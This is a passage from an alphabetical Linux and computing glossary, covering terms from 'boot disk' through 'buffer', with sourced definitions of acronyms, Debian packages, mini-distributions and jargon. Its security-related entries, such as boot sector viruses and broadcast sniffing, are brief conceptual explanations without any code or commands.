A diskette (floppy) containing enough of an operating system (such as Linux) to boot up (start) the computer and run some essential programs from the command line. This may be necessary if the system was rendered non-bootable for some reason. A boot disk can be used to partition and format the hard drive, restore the Master Boot Record, or copy specific files, among other things. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot diskette

A diskette that loads, or boots, a computer system.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot loader

Software that is stored on the master boot record of a bootable storage disk; can load one or more operating systems by reading file system information or through a pointer to a disk partition containing operating system files. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot partition

The partition on a disk where the /boot directory is mounted. The boot partition contains the operating system kernel, as well as critical files needed during the boot process. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Boot sector

The first track on an IBM PC-comptible hard disk or floppy disk (track 0). During the boot process, read-only memory (ROM) tells the computer to read the first block of data on this track and load whatever program is found there. If system files are found, they direct the computer to load MS-DOS. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boot sector (boot record)

The first sector on a driver where the operating system will bootstrap from. Key point: Until macro viruses came along, boot sector viruses were the most common variant. They spread through companies via floppy disks. Users would leave floppy disks in the drive and when the computer restarted, it would attempt to boot from the floppy. This would run the virus, which then infected the boot sector on the hard drive. Any further floppies plugged into the system would then be infected by the virus. Countermeasures: I worked at a company with anal anti-virus procedures (anti-virus on all desktops, regular wiping of floppy disks). It was never able to completely free itself from the boot sector virus problem; one of the viruses was never successfully eradicated from the company. My own personal policy is to disconnect the floppies on 90% of the machines, and disable floppy bootup on the remaining machines. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Boot sequence

The order in which computers basic input output system (BIOS) searches disk drives for operating system files. Unless programmed otherwise, IBM PCs and compatibles look for the operating system on drive A first, then search drive C. To speed up your computers boot procedure, you can use the BIOS setup program to make it search drive C first. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootcd

run your system from cd without need for disks. Copy your running Debian System on CD with the command bootcdwrite. If your system has no CD-Writer you can build a bootcd via NFS on a remote System with CD-Writer. When you run your system from CD you do not need any disks. All changes will be done in ram. To reuse this changes at next boottime you can save them on FLOPPY with the command bootcdflopcp. If booting from your CD-drive is not supported, booting from FLOPPY is possible. It is possible to install a new system from the running CD with the command bootcd2disk. Bootcd2disk can also find a target disk, format it and make it bootable automatically. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootdisk

a miniature, self-contained Linux system on a floppy diskette. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootE Linux

bootE Linux is yet another minimalist (i386) Linux distribution and is contained entirely on a single floppy disk. It supports only single user mode, and is intended as a repair/rescue/emergency distribution. Initial version 0.10 was released April 18, 2002. Version 0.20-r1 was released February 19, 2003. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootp

bootp/DHCP server This is a server for the bootp protocol; which allows network administrator to setup networking information for clients via an /etc/bootptab on a server so that the clients can automatically get their networking information. While this server includes rudimentary DHCP support as well, we suggest using the dhcp package if you need DHCP support, as it is much more complete. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootp (boot protocol)

This relative ancient protocol facilitates booting devices ("clients") from a network server rather than their local hard-disks (such as diskless workstations). In this configuration, the bootp protocol configures the diskless device with its IP configuration information as well as the name of the file server. At this point, the client shifts to TFTP to download the actual files it will use to boot from. Key point: DHCP is simply an extension on top of bootp. This is important because without an IP address, clients cannot reach bootp servers that reside across routers. Virtually all routers have an extension for bootp forwarding that fixes this issue. Since DHCP had the same requires, the designers just stuck it inside bootp packets rather than requiring yet another change to the routing infrastructure. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootparamd

Boot parameter server. bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootpc

bootp client This is a boot protocol client used to grab the machines ip number, set up DNS nameservers and other useful information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootsplash

This package contains the scripts and pictures visible when booting a Mandrake kernel. They are automatically installed when an initrd is generated by mkinitrd. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bootstrap

The ROM routine used to load the OS is often known as the 'bootstrap', from the old expression "pull yourself up by your own bootstraps". From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bootstrap Protocol (bootp)

A TCP/IP protocol allowing a diskless workstation to find its own IP address at startup. From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOPS

Billion Operations Per Second From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BORSCHT

Battery, Overvoltage, Ringing, Signalling, Coding, Hybrid, Testing [functions] (PBX) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOS

Basic Operating System (AIX, IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOS

Batch Operating System (OS, Honeywell) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOS360

Basic Operating System / 360 (OS, S/360, IBM), "BOS/360" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOSS

Business Operating Software /5 (OS), "BOS/5" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOSS

Basic OS Software for BASIC (OS, BASIC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bot

an IRC or MUD user who is actually a program. On IRC, typically the robot provides some useful service. Examples are NickServ, which tries to prevent random users from adopting nicks already claimed by others, and MsgServ, which allows one to send asynchronous messages to be delivered when the recipient signs on. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOT

Back On Topic (slang, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOT

Beginning Of Tape From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOT

Broadcast Online TV From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BOT

Build, Operate and Transfer (networke) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bot

Short for Robot. A program designed to search for information on the Internet with little human intervention. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Boten GNU/Linux

Boten GNU/Linux is intended for home users and provides a fully-localized GNU/Linux environment in Hebrew. It's especially made for those new to Linux, though aimed to please all users, experts and newbies alike. It's currently based around the 2.4 Linux kernel series (USB supported)

and the GNU C Library version 2.2.5 (libc6 ELF). Boten GNU/Linux could be installed in a UMSDOS partition as well and can run on 386 systems all the way up to the latest x86 machines. Version 9.5 h1/i1 was released April 21, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bottlerocket

Utility to control X10 Firecracker devices A command-line utility to interact with the Firecracker version of X10's home control devices. Also included is rocket launcher, a graphical frontend to bottlerocket. If you want this functionality you should have wish installed From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bounce

This describes the action of an undeliverable email message being returned to the sender. In the popular pine program the term bounce actually refers to the redirection of an email. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bounced message

An electronic mail message that comes back to the sender after a failed delivery attempt. The failure may be due to an incorrectly-typed e-mail address or to a network problem. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bourne Shell

A popular command line shell offering many advantages over the DOS command prompt. (Also, see Bash and Korn Shell.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bourne Shell

The Bourne shell is the most widely used Unix shell. It prompts you with \$. Its program name is sh. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boust

A tcl/tk text-reader that formats the file in boustrophedon This is a tcl/tk text-reader that formats the file in boustrophedon (a reading- / writing- style that alternates direction every line). Unlike conventional left-to-right styles of reading/writing, boustrophedon does not require the eye (or the hand) to whip back to the margin whenever the end of a line is reached. In boustrophedon, the horizontal position does not change; one simply goes down to the next line and continues. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

boxes

Textmode box- and comment drawing filter. Boxes is extremely configurable filter for adding and removing ASCII art (comments, for example) around chunks of text. Most modern text editors support filtering text through external filters. Boxes is such a filter. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BP

Base Pointer [register] (CPU, Intel, assembler) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bpalugin

login client for the Telstra Bigpond Cable Network (Australia) bpalugin is an open source login client for the Telstra Bigpond Cable Network in Australia. It is neither written nor supported by Telstra or Bigpond. It is both simple to use and stable. Unlike the standard client it does not crash, reconnects when there is a network problem, is available for most operating systems, can run as a service on WinNT/2k and comes with source From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPB

BIOS Parameter Block (BIOS, DOS, HDD, FDD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPC

Broadcast Personal Computer (PC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPD

BankParameterDaten (DDBAC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPDU

Bridge Protocol Data Unit (PDU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPF

Berkeley Packet Filter (BSD, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPI

Bits Per Inch (HDD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPIP

Best Play for Imperfect Player (NEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPL

Bytes Per Line From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bplay

Buffered audio file player/recorder The bplay package provides a simple command-line utility for playing and recording audio files in raw sample, VOC and WAV formats. To use this program you need a soundcard of some kind and the appropriate driver configured into your kernel. When run the program creates two processes which share a memory buffer. It does reading/writing on the disk and the sound device simultaneously, in order to be less liable to 'pause' because the disk is too slow or too busy. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPN

Back-Propagation Net (NN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bpowerd

monitor UPS status for Best Patriot power supplies bpowerd is used to monitor a serial port for the status of a Best Patriot power supply. It runs as a daemon and sends status information to the system log. bpowerd can detect powerfail, battery-low, and power-restore conditions. The status is communicated to init via /dev/initctl. bpowerd can also send a signal to the power supply's inverter by using the -k switch. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPP

Bits Per Pixel From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPB

Bridge Port Pair From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPS

Bits Per Second (MODEM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bps (Bits-Per-Second)

A measurement of how fast data is moved from one place to another. A 56K modem can move about 57,000 bits per second. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPSK

Bi-Phase Shift Keying [modulation] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPU

Branch Prediction Unit (CPU, MMX, Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPU

Branch Processing Unit (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BPV

BiPolar Violation [error event] (DS1/E1, DS3/E3) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BR

Boundary Representation (CAD, CAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brahms

Graphical music editor and MIDI sequencer Brahms is a multi-track graphical music editor. It allows score and piano-roll notation, multi-part tracks and drum-tracks. Brahms is part of the KDE project. It uses the KDE sound daemon (aRTs) for MIDI input and output. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRaiLeSPEAK

BRLSPEAK is a Braille and Speech oriented mini-distribution of Linux for the visually impaired. Support for English, French, and Dutch (Netherlands). A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRAIN

Berlin Research Area Information Network (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRAM

Broadcast Recognition Access Method (MAC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRAP

Broadcast Recognition with Alternating Priorities (MAC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brazilian-conjugate

Brazilian Portuguese verb conjugator This package contains a interactive program (conjugue) capable of conjugating portuguese verbs, as spoken in Brazil. The upstream version is numbered 1.0, but as it is distributed together with the Ispell dictionary for Brazilian Portuguese, it has the same version number as the ibrazilian package for Debian. See <http://www.ime.usp.br/~ueda/br.ispell/> for more information. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRB

Be Right Back (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brec

buffered sound recording/playing From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BREW

Binary Runtime Environment for Wireless (CDMA, Oualcomm) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRF

Benchmark Reporting Format (PLB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRI

Basic Rate Interface (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRI

Bridge Router Interface ??? (Banyan, VINES) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bridge

Any device that connects two physically distinct network segments, usually at a lower network layer than would a router. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bridge-utils

Utilities for configuring the Linux 2.4 bridge. This package contains utilities for configuring the Linux ethernet bridge. The Linux ethernet bridge can be used for connecting multiple ethernet devices together. The connecting is fully transparent: hosts connected to one ethernet device see hosts connected to the other ethernet devices directly. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRIEF

Basic Reconfigurable Interactive Editing Facility From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRIM

Bridge/Router Interface Module From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brlTTY

Access software for a blind person using a soft braille terminal BRLTTY is a daemon which provides access to the Linux console (text mode) for a blind person using a soft braille display. It drives the braille terminal and provides complete screen review functionality. The following display models are supported: * Alva (ABT3xx/Delphi) * BrailleLite (18 or 40) * BrailleNote 18/32 * Tieman CombiBraille * EcoBraille displays * EuroBraille displays * HandyTech * LogText 32 * Tieman MultiBraille * MDV braille displays * Tieman MiniBraille * Papenmeier * TSI (PowerBraille/Navigator) * Vario Emul. 1 (40/80) * Vario Emul. 2 * Videobraille * Tieman Voyager 44/70 (USB) * VisioBraille From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

broadcast

a type of communication between hosts (or computers) on a network where a computer can talk to all computers. See multicast and unicast. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

broadcast

Packets that transmit to all hosts on the network. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

broadcast

The term "broadcast" is generic and is used in many different area. The origin of the term obviously means to cast out broadly, such as a radio broadcast. Subdefinition: Ethernet has broadcast domains, allowing you to partially sniff some data from your neighbors, and possibly subvert it. Typical protocols that can be sniffed and subverted in this manner are: ARP, NetBIOS, MSBROWSE, rwho, bootp/DHCP, SNMP. An Ethernet broadcast address is "FF:FF:FF:FF:FF:FF". Subdefinition: The Internet protocols TCP/IP support a feature known as a directed broadcast, which allows a remote person the ability to send a single packet to an entire subnet. This will then take advantage of the Ethernet broadcast domain once it reaches its destination. Attacks like smurf take advantage of this. A directed broadcast address looks something like 192.0.2.255, where the last integer "255" means "all devices on subnet 192.0.2.x". Subdefinition: The special IP address of "255.255.255.255" is the local broadcast, and causes the packets to be sent to everyone locally, but not across the Internet. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

broadcast domain

A local network where broadcasts can be seen. Typical broadcast domains include cable-modem networks, colocation facilities, and Ethernet networks. The problem with broadcast domains is that a passive packet sniffer can discover vast amounts of information about the structure of the network. Attackers on the same broadcast domains can also broadcast packets that break into their neighbors, such as in ARP redirects. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Broadcast message

In a network, a message to all system users that appears when you log in to the system. For example, broadcast messages are used to inform users when the system will be shut down for maintenance.

From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brown-paper-bag bug

n. A bug in a public software release that is so embarrassing that the author notionally wears a brown paper bag over his head for a while so he won't be recognized on the net. Entered popular usage after the early-1999 release of the first Linux 2.2, which had one. The phrase was used in Linus Torvalds's apology posting. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brownout

A period of low-voltage electrical power caused by unusually heavy demand, such as that created by summertime air-conditioner user. Brownouts can cause computers to operate erratically or crash, either of which can result in data loss. If brownouts frequently cause your computer to crash, you may need to buy a line-interactive uninterruptible power supply to work with your machine. From

QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Browser

A Program which allows your computer to download and display documents from the World Wide Web. The two most popular browsers are Internet Explorer and Netscape Navigator. It is also a software that allows users to access and navigate the World Wide Web. Some Web browsers, such as Mosaic and Netscape, are graphical. Lynx is a text-based browser. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

browser

n. A program specifically designed to help users view and navigate hypertext, on-line documentation, or a database. While this general sense has been present in jargon for a long time, the proliferation of browsers for the World Wide Web after 1992 has made it much more popular and provided a central or default techspeak meaning of the word previously lacking in hacker usage. Nowadays, if someone mentions using a `browser' without qualification, one may assume it is a Web browser. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

browser

See Web browser. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

browser-history

User daemon that tracks URLs looked at and logs them. Browser-history came from the will to overcome a Netscape bug: there is no global history, and if you close a window, its whole history is lost. For people browsing lots of sites, having the possibility of backtracking to where one has been before means that you don't have to put everything in your bookmarks file. If you are not sure if a site may be worth remembering, don't add it in your bookmarks. If you need it later, just browse your history files. It works with: Netscape Navigator, Arena, and Amaya. Support for `browser-history' can easily be added to other browsers, provided you can program and have the browser sources. A manual page and simple documentation will be installed in /usr/share/doc/browser-history/browser-history.html, along with a simple CGI interface to grep the history log and display the result. The optional CGI program requires `cgiwrap' or Apache configured with `suexec'. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRS

Big Red Switch From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BRTB

Berlin Regional TestBed (WIN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Brutalware

Brutalware fits on two floppy disks with TCP/IP networking (currently only bootp-based) and one supplementary floppy with tons of hacking utilities. Great distribution for use in school labs and Internet cafes. Brutalware Linux 1.1 is a libc5 based 2.0.36 Linux distribution. A floppy-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

brute force

adj. Describes a primitive programming style, one in which the programmer relies on the computer's processing power instead of using his or her own intelligence to simplify the problem, often ignoring problems of scale and applying naive methods suited to small problems directly to large ones. The term can also be used in reference to programming style: brute-force programs are written in a heavyhanded, tedious way, full of repetition and devoid of any elegance or useful abstraction (see also brute force and ignorance). The canonical example of a brute-force algorithm is associated with the `traveling salesman problem' (TSP), a classical NP-hard problem: Suppose a person is in, say, Boston, and wishes to drive to N other cities. In what order should the cities be visited in order to minimize the distance travelled? The brute-force method is to simply generate all possible routes and compare the distances; while guaranteed to work and simple to implement, this algorithm is clearly very stupid in that it considers even obviously absurd routes (like going from Boston to Houston via San Francisco and New York, in that order). For very small N it works well, but it rapidly becomes absurdly inefficient when N increases (for N = 15, there are already 1,307,674,368,000 possible routes to consider, and for N = 1000 -- well, see bignum). Sometimes, unfortunately, there is no better general solution than brute force. See also NP-. A more simple-minded example of brute-force programming is finding the smallest number in a large list by first using an existing program to sort the list in ascending order, and then picking the first number off the front. Whether brute-force programming should actually be considered stupid or not depends on the context; if the problem is not terribly big, the extra CPU time spent on a brute-force solution may cost less than the programmer time it would take to develop a more `intelligent' algorithm. Additionally, a more intelligent algorithm may imply more long-term complexity cost and bug-chasing than are justified by the speed improvement. Ken Thompson, co-inventor of Unix, is reported to have uttered the epigram "When in doubt, use brute force". He probably intended this as a ha ha only serious, but the original Unix kernel's preference for simple, robust, and portable algorithms over brittle `smart' ones does seem to have been a significant factor in the success of that OS. Like so many other tradeoffs in software design, the choice between brute force and complex, finely-tuned cleverness is often a difficult one that requires both engineering savvy and delicate esthetic judgment. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BS

BackSpace From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BS

BackSpace one record (IBM, VM/ESA, CP) From VERA

BSCM

Binary Synchronous Communications Module From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSD

Berkeley System / Software Distribution (manufacturer, Unix, OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSD (Berkeley Software Distribution)

A version of the UNIX operating system that was developed and formerly maintained by the University of California, Berkeley. BSD helped to establish the Internet in colleges and universities because the distributed software included TCP/IP. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSD (Berkeley Software Distribution) UNIX

UNIX distribution from University of California at Berkeley. (Also, see FreeBSD.) From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsd-ftp

Port of the OpenBSD FTP server This is a GNU/Linux port of the FTP server from OpenBSD. Consequently, it is believed to be quite secure. Other interesting features are support for IPv6 and an internal ls. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsdgames

collection of text games from BSD systems This is a collection of some of the text-based games and amusements that have been enjoyed for decades on unix systems. Includes these programs: adventure, arithmetic, atc, backgammon, battlestar, bcd, boggle, caesar, canfield, countmail, cribbage, fish, gomoku, hangman, hunt, mille, monop, morse, number, pig, phantasia, pom, ppt, primes, quiz, random, rain, robots, sail, snake, tetris, trek, wargames, worm, worms, wump, wtf From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSDI

Berkeley Software Design Incorporated (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSDL

Berkeley/San Diego License From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsdmainutils

More utilities from FreeBSD. This package contains lots of small programs many people expect to find when they use a BSD-style Unix system. Included are: banner, ncal, cal, calendar, col, colcrt,

colrm, column, from, hexdump, look, lorder, ul, write. This package used to contain whois and vacation, which are now distributed in their own packages. Also here was tsort, which is now in the "textutils" package, version 2.0-1 and later. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsdutils

Basic utilities from 4.BSD-Lite. This package contains the bare minimum number of BSD utilities needed to boot a Debian system. You should probably also install bsdmainutils to get the remaining standard BSD utilities. Included are: logger, renice, replay, script, wall From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsh

A Java scripting environment. BeanShell is a small, free, embeddable, Java source interpreter with object scripting language features, written in Java. BeanShell executes standard Java statements and expressions, in addition to obvious scripting commands and syntax. BeanShell supports scripted objects as simple method closures like those in Perl and JavaScript(tm). You can use BeanShell interactively for Java experimentation and debugging or as a simple scripting engine for you applications. In short: BeanShell is a dynamically interpreted Java, plus some useful stuff. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSI

Bentley Systems, Incorporated (manufacturer) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSI

British Standards Institute (org., UK) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSI

Bundesamt fuer Sicherheit in der Informationstechnik Org., Germany From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSIC

Base Station Identification Code (BS, BCCH, GSM, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsign

Corruption & intrusion detection using embedded hashes This package embeds secure hashes (SHA1) and digital signatures (GNU Privacy Guard) into files for verification and authentication. Currently, target file types are all ELF format: executables, kernel modules, shared and static link libraries. This program has functionality similar to tripwire and integrit without the need to maintain a database. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSMTP

Batched Simple Mail Transfer Protocol (SMTP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bsmtpd

Batched SMTP mailer for sendmail and postfix This package adds a new "mailer" named bsmtp to sendmail or postfix, which allows you to use batched SMTP as protocol. BSMTP is used in UUCP environments and allows to transport many mails as a (compressed) batch instead of transporting every single mail. So bsmtp is an alternative to rmail. Special features of this bsmtp package: – Completely written in C. – Configurable batch size (automatically sends batch to uux when a defined size is reached). – Creates backups of all outgoing batches (and removes them regularly) – Works with sendmail and postfix. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSP

BetriebsSystemProzessor (Windows NT, SMP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSP

Linux Dictionary

Binary Space Partitioning [tree] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BSR

BootStrap Router (PIM, RP, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bug Tracking System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BTU

Basic Transmission Unit (IBM, SNA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BTW

By The Way (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

btyacc

Backtracking parser generator based on yacc btyacc is a hacked version of the original Berkeley "yacc". The main change to yacc is the addition of backtracking code, allowing you to try both alternatives in case of shift-reduce or reduce-reduce conflicts. As long as no backtracking takes place, speed is comparable to bison. Additional features: – enhanced support for storing of text position information for tokens – closes the potential *yacc/bison memory leak during error recovery – preprocessor directives like %ifdef, %include – C++ friendly Related packages: bison, yacc, antlr From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BU Linux

Created at/for Boston University, BU Linux is based on Red Hat Linux, but specifically tailored for the BU environment. They have added security updates, made modifications to make software work better with their setup, and added some applications. BU Linux 2.5 (a.k.a Gigantic) was released August 27, 2002. BU Linux 3.0 (Doolittle) was released May 7, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bubblemon

Bubbling Load Monitoring Gnome Applet A GNOME panel applet that displays the CPU + memory load as a bubbling liquid. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bucky bits

/buh'kee bits/ n. 1. obs. The bits produced by the CONTROL and META shift keys on a SAIL keyboard (octal 200 and 400 respectively), resulting in a 9-bit keyboard character set. The MIT AI TV (Knight) keyboards extended this with TOP and separate left and right CONTROL and META keys, resulting in a 12-bit character set; later, LISP Machines added such keys as SUPER, HYPER, and GREEK (see space-cadet keyboard). 2. By extension, bits associated with 'extra' shift keys on any keyboard, e.g., the ALT on an IBM PC or command and option keys on a Macintosh. It has long been rumored that 'bucky bits' were named for Buckminster Fuller during a period when he was consulting at Stanford. Actually, bucky bits were invented by Niklaus Wirth when he was at Stanford in 1964-65; he first suggested the idea of an EDIT key to set the 8th bit of an otherwise 7-bit ASCII character). It seems that, unknown to Wirth, certain Stanford hackers had privately nicknamed him 'Bucky' after a prominent portion of his dental anatomy, and this nickname transferred to the bit. Bucky-bit commands were used in a number of editors written at Stanford, including most notably TV-EDIT and NLS. The term spread to MIT and CMU early and is now in general use. Ironically, Wirth himself remained unaware of its derivation for nearly 30 years, until GLS dug up this history in early 1993! See double bucky, quadruple bucky. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buffer

A temporary storage space which holds data for future processing. The data may be stored on a hard disk, in RAM or on specialised chips such as UARTs. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buffer

Buffering/reblocking program for tape backups, printing, etc. Buffer implements double buffering and can be used to keep backup tapes streaming or printers printing. It can also be used to convert a data stream to a given output blocksize. Buffer uses shared memory to convert a variable input data rate to a constant output data rate. It is typically used in a pipe between a backup program and the tape device, but there are also other applications like buffering printer data in lpd's input filter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buffer overflow

